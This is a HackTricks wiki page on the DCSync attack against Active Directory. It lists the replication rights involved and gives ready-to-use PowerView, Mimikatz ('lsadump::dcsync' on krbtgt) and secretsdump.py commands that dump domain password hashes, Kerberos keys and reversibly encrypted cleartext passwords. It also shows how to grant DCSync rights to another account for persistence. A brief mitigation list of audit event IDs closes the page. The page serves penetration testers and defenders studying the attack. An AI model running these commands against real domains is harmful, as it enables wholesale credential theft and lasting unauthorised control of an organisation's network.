HackTricks
Search…
⌃K

DCSync

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
Support HackTricks and get benefits!

DCSync

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Important Notes about DCSync:
  • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

Enumeration

Check who has these permissions using powerview:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Exploit Locally

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploit Remotely

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc generates 3 files:
  • one with the NTLM hashes
  • one withe the Kerberos keys
  • one with cleartext passwords from the NTDS for any accounts set with reversible encryption enabled. You can get users with reversible encryption with
    Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistence

If you are a domain admin, you can grant this permissions to any user with the help of powerview:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

  • Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
  • Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
  • Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
  • AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

References

Support HackTricks and get benefits!
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today: